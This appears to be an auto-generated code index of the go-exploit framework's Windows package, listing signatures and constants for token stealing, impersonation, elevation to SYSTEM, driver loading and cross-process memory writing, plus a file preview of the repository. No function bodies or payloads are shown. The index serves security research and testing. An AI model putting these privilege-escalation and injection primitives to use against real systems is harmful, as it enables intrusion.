  function VirtualFreeEx (line 25) | func VirtualFreeEx(_ Handle, _ uintptr, _ uintptr, _ uint32) bool {
  function VirtualProtect (line 31) | func VirtualProtect(_ uintptr, _ uintptr, _ uint32) (uint32, bool) {
  function VirtualProtectEx (line 37) | func VirtualProtectEx(_ Handle, _ uintptr, _ uintptr, _ uint32) (uint32,...
  function VirtualQuery (line 43) | func VirtualQuery(_ uintptr) (*MemoryRegionInfo, bool) {
  function VirtualQueryEx (line 49) | func VirtualQueryEx(_ Handle, _ uintptr) (*MemoryRegionInfo, bool) {
  function ReadProcessMemory (line 55) | func ReadProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {
  function WriteProcessMemory (line 61) | func WriteProcessMemory(_ Handle, _ uintptr, _ []byte) (int, bool) {
  function CreateFileMapping (line 67) | func CreateFileMapping(_ Handle, _ uint64, _ uint32, _ string) (Handle, ...
  function MapViewOfFile (line 73) | func MapViewOfFile(_ Handle, _ uint32, _ uint64, _ uintptr) (uintptr, bo...
  function UnmapViewOfFile (line 79) | func UnmapViewOfFile(_ uintptr) bool {
  constant FileMapCopy (line 85) | FileMapCopy      = 0x0001
  constant FileMapWrite (line 86) | FileMapWrite     = 0x0002
  constant FileMapRead (line 87) | FileMapRead      = 0x0004
  constant FileMapExecute (line 88) | FileMapExecute   = 0x0020
  constant FileMapAllAccess (line 89) | FileMapAllAccess = 0xF001F
  constant SecCommit (line 94) | SecCommit  = 0x8000000
  constant SecImage (line 95) | SecImage   = 0x1000000
  constant SecReserve (line 96) | SecReserve = 0x4000000

FILE: windows/memory_test.go
  function TestMemoryProtectionConstants (line 10) | func TestMemoryProtectionConstants(t *testing.T) {
  function TestMemoryAllocationConstants (line 22) | func TestMemoryAllocationConstants(t *testing.T) {
  function TestVirtualAllocNonWindows (line 34) | func TestVirtualAllocNonWindows(t *testing.T) {
  function TestVirtualFreeNonWindows (line 43) | func TestVirtualFreeNonWindows(t *testing.T) {
  function TestVirtualProtectNonWindows (line 52) | func TestVirtualProtectNonWindows(t *testing.T) {
  function TestVirtualQueryNonWindows (line 61) | func TestVirtualQueryNonWindows(t *testing.T) {
  function TestReadProcessMemoryNonWindows (line 70) | func TestReadProcessMemoryNonWindows(t *testing.T) {
  function TestWriteProcessMemoryNonWindows (line 80) | func TestWriteProcessMemoryNonWindows(t *testing.T) {
  function TestCreateFileMappingNonWindows (line 90) | func TestCreateFileMappingNonWindows(t *testing.T) {
  function TestMapViewOfFileNonWindows (line 99) | func TestMapViewOfFileNonWindows(t *testing.T) {
  function TestUnmapViewOfFileNonWindows (line 108) | func TestUnmapViewOfFileNonWindows(t *testing.T) {
  function TestMemoryRegionInfoStruct (line 117) | func TestMemoryRegionInfoStruct(t *testing.T) {

FILE: windows/memory_windows.go
  function VirtualAlloc (line 14) | func VirtualAlloc(address uintptr, size uintptr, allocationType uint32, ...
  function VirtualAllocEx (line 25) | func VirtualAllocEx(process Handle, address uintptr, size uintptr, alloc...
  function VirtualFree (line 45) | func VirtualFree(address uintptr, size uintptr, freeType uint32) bool {
  function VirtualFreeEx (line 56) | func VirtualFreeEx(process Handle, address uintptr, size uintptr, freeTy...
  function VirtualProtect (line 75) | func VirtualProtect(address uintptr, size uintptr, newProtect uint32) (u...
  function VirtualProtectEx (line 87) | func VirtualProtectEx(process Handle, address uintptr, size uintptr, new...
  function VirtualQuery (line 99) | func VirtualQuery(address uintptr) (*MemoryRegionInfo, bool) {
  function VirtualQueryEx (line 119) | func VirtualQueryEx(process Handle, address uintptr) (*MemoryRegionInfo,...
  function ReadProcessMemory (line 139) | func ReadProcessMemory(process Handle, address uintptr, buffer []byte) (...
  function WriteProcessMemory (line 151) | func WriteProcessMemory(process Handle, address uintptr, buffer []byte) ...
  function CreateFileMapping (line 163) | func CreateFileMapping(file Handle, size uint64, protect uint32, name st...
  function MapViewOfFile (line 187) | func MapViewOfFile(mapping Handle, access uint32, offset uint64, size ui...
  function UnmapViewOfFile (line 201) | func UnmapViewOfFile(address uintptr) bool {
  constant FileMapCopy (line 212) | FileMapCopy      = windows.FILE_MAP_COPY
  constant FileMapWrite (line 213) | FileMapWrite     = windows.FILE_MAP_WRITE
  constant FileMapRead (line 214) | FileMapRead      = windows.FILE_MAP_READ
  constant FileMapExecute (line 215) | FileMapExecute   = windows.FILE_MAP_EXECUTE
  constant FileMapAllAccess (line 216) | FileMapAllAccess = 0xF001F
  constant SecCommit (line 221) | SecCommit  = 0x8000000
  constant SecImage (line 222) | SecImage   = 0x1000000
  constant SecReserve (line 223) | SecReserve = 0x4000000

FILE: windows/platform_other.go
  function GetPlatformInfo (line 7) | func GetPlatformInfo() (*PlatformInfo, bool) {
  function IsAdmin (line 13) | func IsAdmin() bool {
  function IsSystem (line 19) | func IsSystem() bool {
  function IsElevated (line 25) | func IsElevated() bool {
  function GetIntegrityLevel (line 31) | func GetIntegrityLevel() IntegrityLevel {
  function EnumProcesses (line 37) | func EnumProcesses() ([]ProcessInfo, bool) {
  function GetProcessInfo (line 43) | func GetProcessInfo(_ uint32) (*ProcessInfo, bool) {
  function FindProcess (line 49) | func FindProcess(_ string) (uint32, bool) {
  function FindProcesses (line 55) | func FindProcesses(_ string) ([]uint32, bool) {
  function OpenProcess (line 61) | func OpenProcess(_ uint32, _ uint32) (Handle, bool) {
  function CloseHandle (line 67) | func CloseHandle(_ Handle) bool {
  function GetCurrentProcess (line 73) | func GetCurrentProcess() Handle {
  function GetCurrentProcessID (line 79) | func GetCurrentProcessID() uint32 {

FILE: windows/platform_windows.go
  type rtlOSVersionInfoW (line 41) | type rtlOSVersionInfoW struct
  type systemHandleTableEntryInfo (line 51) | type systemHandleTableEntryInfo struct
  type systemHandleInformation (line 64) | type systemHandleInformation struct
  function GetPlatformInfo (line 70) | func GetPlatformInfo() (*PlatformInfo, bool) {
  function getArch (line 134) | func getArch() string {
  function getTokenIntegrityLevel (line 141) | func getTokenIntegrityLevel(token windows.Token) IntegrityLevel {
  function isAdmin (line 186) | func isAdmin(token windows.Token) bool {
  function IsAdmin (line 203) | func IsAdmin() bool {
  function IsSystem (line 212) | func IsSystem() bool {
  function IsElevated (line 221) | func IsElevated() bool {
  function GetIntegrityLevel (line 230) | func GetIntegrityLevel() IntegrityLevel {
  function EnumProcesses (line 240) | func EnumProcesses() ([]ProcessInfo, bool) {
  function GetProcessInfo (line 274) | func GetProcessInfo(pid uint32) (*ProcessInfo, bool) {
  function getProcessInfoSilent (line 285) | func getProcessInfoSilent(pid uint32) (*ProcessInfo, bool) {
  function FindProcess (line 335) | func FindProcess(name string) (uint32, bool) {
  function FindProcesses (line 352) | func FindProcesses(name string) ([]uint32, bool) {
  function OpenProcess (line 374) | func OpenProcess(pid uint32, access uint32) (Handle, bool) {
  function CloseHandle (line 385) | func CloseHandle(handle Handle) bool {
  function GetCurrentProcess (line 396) | func GetCurrentProcess() Handle {
  function GetCurrentProcessID (line 402) | func GetCurrentProcessID() uint32 {

FILE: windows/service_other.go
  type SCManager (line 6) | type SCManager struct
  function OpenSCManager (line 10) | func OpenSCManager(_ uint32) (*SCManager, bool) {
  function GetServiceInfo (line 16) | func GetServiceInfo(_ string) (*ServiceInfo, bool) {
  function StartService (line 22) | func StartService(_ string) bool {
  function StopService (line 28) | func StopService(_ string) bool {
  function EnumServices (line 34) | func EnumServices() ([]ServiceInfo, bool) {
  function EnumDrivers (line 40) | func EnumDrivers() ([]ServiceInfo, bool) {
  function LoadDriver (line 46) | func LoadDriver(_ string, _ string) bool {
  function UnloadDriver (line 52) | func UnloadDriver(_ string) bool {
  function IsServiceRunning (line 58) | func IsServiceRunning(_ string) bool {
  function GetServicePID (line 64) | func GetServicePID(_ string) (uint32, bool) {

FILE: windows/service_test.go
  function TestServiceStatusConstants (line 10) | func TestServiceStatusConstants(t *testing.T) {
  function TestServiceTypeConstants (line 19) | func TestServiceTypeConstants(t *testing.T) {
  function TestGetServiceInfoNonWindows (line 28) | func TestGetServiceInfoNonWindows(t *testing.T) {
  function TestStartServiceNonWindows (line 37) | func TestStartServiceNonWindows(t *testing.T) {
  function TestStopServiceNonWindows (line 46) | func TestStopServiceNonWindows(t *testing.T) {
  function TestEnumServicesNonWindows (line 55) | func TestEnumServicesNonWindows(t *testing.T) {
  function TestEnumDriversNonWindows (line 64) | func TestEnumDriversNonWindows(t *testing.T) {
  function TestLoadDriverNonWindows (line 73) | func TestLoadDriverNonWindows(t *testing.T) {
  function TestIsServiceRunningNonWindows (line 82) | func TestIsServiceRunningNonWindows(t *testing.T) {

FILE: windows/service_windows.go
  function OpenSCManager (line 13) | func OpenSCManager(access uint32) (*mgr.Mgr, bool) {
  function GetServiceInfo (line 23) | func GetServiceInfo(serviceName string) (*ServiceInfo, bool) {
  function StartService (line 63) | func StartService(serviceName string) bool {
  function StopService (line 88) | func StopService(serviceName string) bool {
  function EnumServices (line 113) | func EnumServices() ([]ServiceInfo, bool) {
  function getServiceInfoSilent (line 142) | func getServiceInfoSilent(m *mgr.Mgr, serviceName string) (*ServiceInfo,...
  function EnumDrivers (line 172) | func EnumDrivers() ([]ServiceInfo, bool) {
  function LoadDriver (line 202) | func LoadDriver(driverPath string, serviceName string) bool {
  function UnloadDriver (line 237) | func UnloadDriver(serviceName string) bool {
  function IsServiceRunning (line 269) | func IsServiceRunning(serviceName string) bool {
  function GetServicePID (line 278) | func GetServicePID(serviceName string) (uint32, bool) {

FILE: windows/token_other.go
  function OpenProcessToken (line 7) | func OpenProcessToken(_ Handle, _ uint32) (Token, bool) {
  function OpenProcessTokenByPID (line 13) | func OpenProcessTokenByPID(_ uint32, _ uint32) (Token, bool) {
  function DuplicateToken (line 19) | func DuplicateToken(_ Token, _ SecurityImpersonationLevel, _ TokenType) ...
  function ImpersonateToken (line 25) | func ImpersonateToken(_ Token) bool {
  function RevertToSelf (line 31) | func RevertToSelf() bool {
  function CloseToken (line 37) | func CloseToken(_ Token) bool {
  function GetTokenUser (line 43) | func GetTokenUser(_ Token) (string, bool) {
  function GetTokenIntegrity (line 49) | func GetTokenIntegrity(_ Token) IntegrityLevel {
  function StealToken (line 55) | func StealToken(_ uint32) (Token, bool) {
  function StealAndImpersonate (line 61) | func StealAndImpersonate(_ uint32) bool {
  function FindSystemProcess (line 80) | func FindSystemProcess() (uint32, bool) {
  function ElevateToSystem (line 86) | func ElevateToSystem() bool {
  function EnablePrivilege (line 92) | func EnablePrivilege(_ string) bool {
  constant SeDebugPrivilege (line 98) | SeDebugPrivilege              = "SeDebugPrivilege"
  constant SeImpersonatePrivilege (line 99) | SeImpersonatePrivilege        = "SeImpersonatePrivilege"
  constant SeAssignPrimaryTokenPrivilege (line 100) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege"
  constant SeTcbPrivilege (line 101) | SeTcbPrivilege                = "SeTcbPrivilege"
  constant SeBackupPrivilege (line 102) | SeBackupPrivilege             = "SeBackupPrivilege"
  constant SeRestorePrivilege (line 103) | SeRestorePrivilege            = "SeRestorePrivilege"
  constant SeTakeOwnershipPrivilege (line 104) | SeTakeOwnershipPrivilege      = "SeTakeOwnershipPrivilege"
  constant SeLoadDriverPrivilege (line 105) | SeLoadDriverPrivilege         = "SeLoadDriverPrivilege"
  function QueryTokenInformation (line 110) | func QueryTokenInformation(_ Token, _ uint32) ([]byte, bool) {
  function GetTokenPrivileges (line 116) | func GetTokenPrivileges(_ Token) ([]string, bool) {
  function GetTokenInfo (line 122) | func GetTokenInfo(_ Token) (*TokenInfo, bool) {
  function IsTokenElevated (line 128) | func IsTokenElevated(_ Token) bool {
  function GetTokenSessionID (line 134) | func GetTokenSessionID(_ Token) (uint32, bool) {

FILE: windows/token_test.go
  function TestTokenTypeConstants (line 10) | func TestTokenTypeConstants(t *testing.T) {
  function TestSecurityImpersonationLevelConstants (line 19) | func TestSecurityImpersonationLevelConstants(t *testing.T) {
  function TestPrivilegeConstants (line 34) | func TestPrivilegeConstants(t *testing.T) {
  function TestOpenProcessTokenNonWindows (line 62) | func TestOpenProcessTokenNonWindows(t *testing.T) {
  function TestOpenProcessTokenByPIDNonWindows (line 71) | func TestOpenProcessTokenByPIDNonWindows(t *testing.T) {
  function TestDuplicateTokenNonWindows (line 80) | func TestDuplicateTokenNonWindows(t *testing.T) {
  function TestImpersonateTokenNonWindows (line 89) | func TestImpersonateTokenNonWindows(t *testing.T) {
  function TestRevertToSelfNonWindows (line 98) | func TestRevertToSelfNonWindows(t *testing.T) {
  function TestCloseTokenNonWindows (line 107) | func TestCloseTokenNonWindows(t *testing.T) {
  function TestGetTokenUserNonWindows (line 116) | func TestGetTokenUserNonWindows(t *testing.T) {
  function TestGetTokenIntegrityNonWindows (line 125) | func TestGetTokenIntegrityNonWindows(t *testing.T) {
  function TestStealTokenNonWindows (line 134) | func TestStealTokenNonWindows(t *testing.T) {
  function TestStealAndImpersonateNonWindows (line 143) | func TestStealAndImpersonateNonWindows(t *testing.T) {
  function TestFindSystemProcessNonWindows (line 152) | func TestFindSystemProcessNonWindows(t *testing.T) {
  function TestElevateToSystemNonWindows (line 161) | func TestElevateToSystemNonWindows(t *testing.T) {
  function TestEnablePrivilegeNonWindows (line 170) | func TestEnablePrivilegeNonWindows(t *testing.T) {

FILE: windows/token_windows.go
  function OpenProcessToken (line 21) | func OpenProcessToken(processHandle Handle, desiredAccess uint32) (Token...
  function OpenProcessTokenByPID (line 32) | func OpenProcessTokenByPID(pid uint32, desiredAccess uint32) (Token, boo...
  function DuplicateToken (line 43) | func DuplicateToken(existingToken Token, impersonationLevel SecurityImpe...
  function ImpersonateToken (line 63) | func ImpersonateToken(token Token) bool {
  function RevertToSelf (line 74) | func RevertToSelf() bool {
  function CloseToken (line 84) | func CloseToken(token Token) bool {
  function GetTokenUser (line 94) | func GetTokenUser(token Token) (string, bool) {
  function GetTokenIntegrity (line 115) | func GetTokenIntegrity(token Token) IntegrityLevel {
  function StealToken (line 121) | func StealToken(targetPID uint32) (Token, bool) {
  function StealAndImpersonate (line 146) | func StealAndImpersonate(targetPID uint32) bool {
  function FindSystemProcess (line 176) | func FindSystemProcess() (uint32, bool) {
  function ElevateToSystem (line 189) | func ElevateToSystem() bool {
  function EnablePrivilege (line 206) | func EnablePrivilege(privilegeName string) bool {
  constant SeDebugPrivilege (line 240) | SeDebugPrivilege              = "SeDebugPrivilege"
  constant SeImpersonatePrivilege (line 241) | SeImpersonatePrivilege        = "SeImpersonatePrivilege"
  constant SeAssignPrimaryTokenPrivilege (line 242) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege"
  constant SeTcbPrivilege (line 243) | SeTcbPrivilege                = "SeTcbPrivilege"
  constant SeBackupPrivilege (line 244) | SeBackupPrivilege             = "SeBackupPrivilege"
  constant SeRestorePrivilege (line 245) | SeRestorePrivilege            = "SeRestorePrivilege"
  constant SeTakeOwnershipPrivilege (line 246) | SeTakeOwnershipPrivilege      = "SeTakeOwnershipPrivilege"
  constant SeLoadDriverPrivilege (line 247) | SeLoadDriverPrivilege         = "SeLoadDriverPrivilege"
  function QueryTokenInformation (line 251) | func QueryTokenInformation(token Token, infoClass uint32) ([]byte, bool) {
  function GetTokenPrivileges (line 285) | func GetTokenPrivileges(token Token) ([]string, bool) {
  function GetTokenInfo (line 338) | func GetTokenInfo(token Token) (*TokenInfo, bool) {
  function IsTokenElevated (line 364) | func IsTokenElevated(token Token) bool {
  function GetTokenSessionID (line 370) | func GetTokenSessionID(token Token) (uint32, bool) {

FILE: windows/windows.go
  type IntegrityLevel (line 36) | type IntegrityLevel
    method String (line 50) | func (il IntegrityLevel) String() string {
  constant IntegrityUnknown (line 39) | IntegrityUnknown IntegrityLevel = iota
  constant IntegrityUntrusted (line 40) | IntegrityUntrusted
  constant IntegrityLow (line 41) | IntegrityLow
  constant IntegrityMedium (line 42) | IntegrityMedium
  constant IntegrityMediumPlus (line 43) | IntegrityMediumPlus
  constant IntegrityHigh (line 44) | IntegrityHigh
  constant IntegritySystem (line 45) | IntegritySystem
  constant IntegrityProtected (line 46) | IntegrityProtected
  type PlatformInfo (line 74) | type PlatformInfo struct
  type Handle (line 97) | type Handle
  type Token (line 100) | type Token
  type TokenType (line 103) | type TokenType
  constant TokenTypePrimary (line 106) | TokenTypePrimary       TokenType = 1
  constant TokenTypeImpersonation (line 107) | TokenTypeImpersonation TokenType = 2
  type SecurityImpersonationLevel (line 111) | type SecurityImpersonationLevel
  constant SecurityAnonymous (line 114) | SecurityAnonymous      SecurityImpersonationLevel = 0
  constant SecurityIdentification (line 115) | SecurityIdentification SecurityImpersonationLevel = 1
  constant SecurityImpersonation (line 116) | SecurityImpersonation  SecurityImpersonationLevel = 2
  constant SecurityDelegation (line 117) | SecurityDelegation     SecurityImpersonationLevel = 3
  type ProcessInfo (line 121) | type ProcessInfo struct
  type HandleInfo (line 133) | type HandleInfo struct
  type ALPCSectionInfo (line 142) | type ALPCSectionInfo struct
  type TokenInfo (line 151) | type TokenInfo struct
  type ServiceInfo (line 166) | type ServiceInfo struct
  constant ServiceStopped (line 180) | ServiceStopped         = 0x00000001
  constant ServiceStartPending (line 181) | ServiceStartPending    = 0x00000002
  constant ServiceStopPending (line 182) | ServiceStopPending     = 0x00000003
  constant ServiceRunning (line 183) | ServiceRunning         = 0x00000004
  constant ServiceContinuePending (line 184) | ServiceContinuePending = 0x00000005
  constant ServicePausePending (line 185) | ServicePausePending    = 0x00000006
  constant ServicePaused (line 186) | ServicePaused          = 0x00000007
  type MemoryRegionInfo (line 190) | type MemoryRegionInfo struct
  function IsWindows (line 201) | func IsWindows() bool {
  constant InvalidHandleValue (line 209) | InvalidHandleValue = ^Handle(0)
  constant ProcessTerminate (line 212) | ProcessTerminate               = 0x0001
  constant ProcessCreateThread (line 213) | ProcessCreateThread            = 0x0002
  constant ProcessSetSessionID (line 214) | ProcessSetSessionID            = 0x0004
  constant ProcessVMOperation (line 215) | ProcessVMOperation             = 0x0008
  constant ProcessVMRead (line 216) | ProcessVMRead                  = 0x0010
  constant ProcessVMWrite (line 217) | ProcessVMWrite                 = 0x0020
  constant ProcessDupHandle (line 218) | ProcessDupHandle               = 0x0040
  constant ProcessCreateProcess (line 219) | ProcessCreateProcess           = 0x0080
  constant ProcessSetQuota (line 220) | ProcessSetQuota                = 0x0100
  constant ProcessSetInformation (line 221) | ProcessSetInformation          = 0x0200
  constant ProcessQueryInformation (line 222) | ProcessQueryInformation        = 0x0400
  constant ProcessSuspendResume (line 223) | ProcessSuspendResume           = 0x0800
  constant ProcessQueryLimitedInformation (line 224) | ProcessQueryLimitedInformation = 0x1000
  constant ProcessAllAccess (line 225) | ProcessAllAccess               = 0x1FFFFF
  constant TokenAssignPrimary (line 228) | TokenAssignPrimary    = 0x0001
  constant TokenDuplicate (line 229) | TokenDuplicate        = 0x0002
  constant TokenImpersonate (line 230) | TokenImpersonate      = 0x0004
  constant TokenQuery (line 231) | TokenQuery            = 0x0008
  constant TokenQuerySource (line 232) | TokenQuerySource      = 0x0010
  constant TokenAdjustPrivileges (line 233) | TokenAdjustPrivileges = 0x0020
  constant TokenAdjustGroups (line 234) | TokenAdjustGroups     = 0x0040
  constant TokenAdjustDefault (line 235) | TokenAdjustDefault    = 0x0080
  constant TokenAdjustSessionID (line 236) | TokenAdjustSessionID  = 0x0100
  constant TokenAllAccess (line 237) | TokenAllAccess        = 0xF01FF
  constant StatusSuccess (line 240) | StatusSuccess            = 0x00000000
  constant StatusInfoLengthMismatch (line 241) | StatusInfoLengthMismatch = 0xC0000004
  constant StatusAccessDenied (line 242) | StatusAccessDenied       = 0xC0000022
  constant StatusInvalidHandle (line 243) | StatusInvalidHandle      = 0xC0000008
  constant SystemHandleInformation (line 246) | SystemHandleInformation = 16
  constant AlpcPortObjectType (line 249) | AlpcPortObjectType = 45
  constant PageNoAccess (line 252) | PageNoAccess         = 0x01
  constant PageReadOnly (line 253) | PageReadOnly         = 0x02
  constant PageReadWrite (line 254) | PageReadWrite        = 0x04
  constant PageWriteCopy (line 255) | PageWriteCopy        = 0x08
  constant PageExecute (line 256) | PageExecute          = 0x10
  constant PageExecuteRead (line 257) | PageExecuteRead      = 0x20
  constant PageExecuteReadWrite (line 258) | PageExecuteReadWrite = 0x40
  constant PageExecuteWriteCopy (line 259) | PageExecuteWriteCopy = 0x80
  constant PageGuard (line 260) | PageGuard            = 0x100
  constant PageNoCache (line 261) | PageNoCache          = 0x200
  constant PageWriteCombine (line 262) | PageWriteCombine     = 0x400
  constant MemCommit (line 265) | MemCommit     = 0x1000
  constant MemReserve (line 266) | MemReserve    = 0x2000
  constant MemDecommit (line 267) | MemDecommit   = 0x4000
  constant MemRelease (line 268) | MemRelease    = 0x8000
  constant MemFree (line 269) | MemFree       = 0x10000
  constant MemPrivate (line 270) | MemPrivate    = 0x20000
  constant MemMapped (line 271) | MemMapped     = 0x40000
  constant MemReset (line 272) | MemReset      = 0x80000
  constant MemTopDown (line 273) | MemTopDown    = 0x100000
  constant MemLargePages (line 274) | MemLargePages = 0x20000000
  constant ScManagerConnect (line 277) | ScManagerConnect          = 0x0001
  constant ScManagerCreateService (line 278) | ScManagerCreateService    = 0x0002
  constant ScManagerEnumerateService (line 279) | ScManagerEnumerateService = 0x0004
  constant ScManagerLock (line 280) | ScManagerLock             = 0x0008
  constant ScManagerQueryLockStatus (line 281) | ScManagerQueryLockStatus  = 0x0010
  constant ScManagerModifyBootConfig (line 282) | ScManagerModifyBootConfig = 0x0020
  constant ScManagerAllAccess (line 283) | ScManagerAllAccess        = 0xF003F
  constant ServiceQueryConfig (line 286) | ServiceQueryConfig         = 0x0001
  constant ServiceChangeConfig (line 287) | ServiceChangeConfig        = 0x0002
  constant ServiceQueryStatus (line 288) | ServiceQueryStatus         = 0x0004
  constant ServiceEnumerateDependents (line 289) | ServiceEnumerateDependents = 0x0008
  constant ServiceStart (line 290) | ServiceStart               = 0x0010
  constant ServiceStop (line 291) | ServiceStop                = 0x0020
  constant ServicePauseContinue (line 292) | ServicePauseContinue       = 0x0040
  constant ServiceInterrogate (line 293) | ServiceInterrogate         = 0x0080
  constant ServiceUserDefinedControl (line 294) | ServiceUserDefinedControl  = 0x0100
  constant ServiceAllAccess (line 295) | ServiceAllAccess           = 0xF01FF
  constant ServiceKernelDriver (line 298) | ServiceKernelDriver       = 0x00000001
  constant ServiceFileSystemDriver (line 299) | ServiceFileSystemDriver   = 0x00000002
  constant ServiceWin32OwnProcess (line 300) | ServiceWin32OwnProcess    = 0x00000010
  constant ServiceWin32ShareProcess (line 301) | ServiceWin32ShareProcess  = 0x00000020
  constant ServiceInteractiveProcess (line 302) | ServiceInteractiveProcess = 0x00000100
  constant ServiceBootStart (line 305) | ServiceBootStart   = 0x00000000
  constant ServiceSystemStart (line 306) | ServiceSystemStart = 0x00000001
  constant ServiceAutoStart (line 307) | ServiceAutoStart   = 0x00000002
  constant ServiceDemandStart (line 308) | ServiceDemandStart = 0x00000003
  constant ServiceDisabled (line 309) | ServiceDisabled    = 0x00000004
  constant GenericRead (line 312) | GenericRead    = 0x80000000
  constant GenericWrite (line 313) | GenericWrite   = 0x40000000
  constant GenericExecute (line 314) | GenericExecute = 0x20000000
  constant GenericAll (line 315) | GenericAll     = 0x10000000
  constant FileShareRead (line 318) | FileShareRead   = 0x00000001
  constant FileShareWrite (line 319) | FileShareWrite  = 0x00000002
  constant FileShareDelete (line 320) | FileShareDelete = 0x00000004
  constant CreateNew (line 323) | CreateNew        = 1
  constant CreateAlways (line 324) | CreateAlways     = 2
  constant OpenExisting (line 325) | OpenExisting     = 3
  constant OpenAlways (line 326) | OpenAlways       = 4
  constant TruncateExisting (line 327) | TruncateExisting = 5
  constant TokenInfoUser (line 330) | TokenInfoUser                = 1
  constant TokenInfoGroups (line 331) | TokenInfoGroups              = 2
  constant TokenInfoPrivileges (line 332) | TokenInfoPrivileges          = 3
  constant TokenInfoOwner (line 333) | TokenInfoOwner               = 4
  constant TokenInfoPrimaryGroup (line 334) | TokenInfoPrimaryGroup        = 5
  constant TokenInfoDefaultDacl (line 335) | TokenInfoDefaultDacl         = 6
  constant TokenInfoSource (line 336) | TokenInfoSource              = 7
  constant TokenInfoType (line 337) | TokenInfoType                = 8
  constant TokenInfoImpersonationLevel (line 338) | TokenInfoImpersonationLevel  = 9
  constant TokenInfoStatistics (line 339) | TokenInfoStatistics          = 10
  constant TokenInfoRestrictedSids (line 340) | TokenInfoRestrictedSids      = 11
  constant TokenInfoSessionID (line 341) | TokenInfoSessionID           = 12
  constant TokenInfoGroupsAndPrivileges (line 342) | TokenInfoGroupsAndPrivileges = 13
  constant TokenInfoSandBoxInert (line 343) | TokenInfoSandBoxInert        = 15
  constant TokenInfoOrigin (line 344) | TokenInfoOrigin              = 17
  constant TokenInfoElevationType (line 345) | TokenInfoElevationType       = 18
  constant TokenInfoLinkedToken (line 346) | TokenInfoLinkedToken         = 19
  constant TokenInfoElevation (line 347) | TokenInfoElevation           = 20
  constant TokenInfoIntegrityLevel (line 348) | TokenInfoIntegrityLevel      = 25
  constant TokenInfoUIAccess (line 349) | TokenInfoUIAccess            = 26
  constant TokenInfoMandatoryPolicy (line 350) | TokenInfoMandatoryPolicy     = 27
  constant TokenInfoIsAppContainer (line 351) | TokenInfoIsAppContainer      = 29
  constant SystemBigPoolInformation (line 354) | SystemBigPoolInformation = 66
  constant NtFileSupersede (line 357) | NtFileSupersede = 0
  constant NtFileOpen (line 358) | NtFileOpen      = 1
  constant NtFileCreate (line 359) | NtFileCreate    = 2
  constant NtFileOpenIf (line 360) | NtFileOpenIf    = 3
  constant NtFileOverwrite (line 361) | NtFileOverwrite = 4
  constant FileDirectoryFile (line 364) | FileDirectoryFile         = 0x00000001
  constant FileSynchronousIONonAlert (line 365) | FileSynchronousIONonAlert = 0x00000020
  constant FileNonDirectoryFile (line 366) | FileNonDirectoryFile      = 0x00000040
  constant FileOpenReparsePoint (line 367) | FileOpenReparsePoint      = 0x00200000
  constant ObjCaseInsensitive (line 370) | ObjCaseInsensitive = 0x00000040
  constant IoReparseTagCloud (line 373) | IoReparseTagCloud = 0x9000001A
  constant FsctlSetReparsePoint (line 376) | FsctlSetReparsePoint = 0x000900A4
  constant FsctlPipeSetAttribute (line 379) | FsctlPipeSetAttribute = 0x11003C
  constant FsctlPipeGetAttribute (line 380) | FsctlPipeGetAttribute = 0x110038
  constant AlpcMsgflgNone (line 383) | AlpcMsgflgNone = 0x0
  constant ReparseDataBufferHeaderSize (line 386) | ReparseDataBufferHeaderSize = 8
  constant PortMessageSize (line 389) | PortMessageSize = 0x28
  type IOStatusBlock (line 394) | type IOStatusBlock struct
  type UnicodeString (line 401) | type UnicodeString struct
  type ObjectAttributes (line 411) | type ObjectAttributes struct
  type ALPCPortAttributes (line 424) | type ALPCPortAttributes struct
  type ALPCMessageAttributes (line 438) | type ALPCMessageAttributes struct
  type BigPoolEntry (line 445) | type BigPoolEntry struct
  type BigPoolInformation (line 453) | type BigPoolInformation struct

FILE: windows/windows_test.go
  constant windowsOS (line 10) | windowsOS = "windows"
  function TestIntegrityLevelString (line 12) | func TestIntegrityLevelString(t *testing.T) {
  function TestConstants (line 34) | func TestConstants(t *testing.T) {
  function TestGetPlatformInfo (line 51) | func TestGetPlatformInfo(t *testing.T) {
  function TestIsAdmin (line 76) | func TestIsAdmin(t *testing.T) {
  function TestIsSystem (line 88) | func TestIsSystem(t *testing.T) {
  function TestIsElevated (line 99) | func TestIsElevated(t *testing.T) {
  function TestGetIntegrityLevel (line 110) | func TestGetIntegrityLevel(t *testing.T) {
  function TestEnumProcesses (line 121) | func TestEnumProcesses(t *testing.T) {
  function TestFindProcess (line 141) | func TestFindProcess(t *testing.T) {
  function TestOpenProcessNonWindows (line 150) | func TestOpenProcessNonWindows(t *testing.T) {
  function TestCloseHandleNonWindows (line 159) | func TestCloseHandleNonWindows(t *testing.T) {
  function TestGetCurrentProcess (line 168) | func TestGetCurrentProcess(t *testing.T) {
Condensed preview — 198 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,264K chars).
[
  {
    "path": ".github/dependabot.yml",
    "chars": 503,
    "preview": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where "
  },
  {
    "path": ".github/workflows/go.yml",
    "chars": 784,
    "preview": "# This workflow will build a golang project\n# For more information see: https://docs.github.com/en/actions/automating-bu"
  },
  {
    "path": ".github/workflows/useragent-update.yml",
    "chars": 1261,
    "preview": "name: User-Agent Update\n\non:\n   workflow_dispatch:\n   schedule:\n     - cron: '0 0 * * 0'\n\npermissions:\n   contents: writ"
  },
  {
    "path": ".gitignore",
    "chars": 478,
    "preview": "# If you prefer the allow list template instead of the deny list, see community template:\n# https://github.com/github/gi"
  },
  {
    "path": ".golangci.yml",
    "chars": 2298,
    "preview": "version: \"2\"\nlinters:\n  enable:\n    - asasalint\n    - asciicheck\n    - bidichk\n    - canonicalheader\n    - containedctx\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "chars": 583,
    "preview": "# How to contribute to go-exploit\n\nThank you for your interest in contributing to go-exploit!\n\n## General Guidance\n\nWhen"
  },
  {
    "path": "LICENSE",
    "chars": 11343,
    "preview": "                                 Apache License\n                           Version 2.0, January 2004\n                   "
  },
  {
    "path": "README.md",
    "chars": 5198,
    "preview": "# go-exploit: Go Exploit Framework\n\n[![Go Reference](https://pkg.go.dev/badge/github.com/vulncheck-oss/go-exploit.svg)]("
  },
  {
    "path": "_uaupdate/README.md",
    "chars": 674,
    "preview": "# Updating the go-exploit HTTP User Agent\n\nThis main.go fetches user agents from the Project Discovery [useragent](https"
  },
  {
    "path": "_uaupdate/main.go",
    "chars": 739,
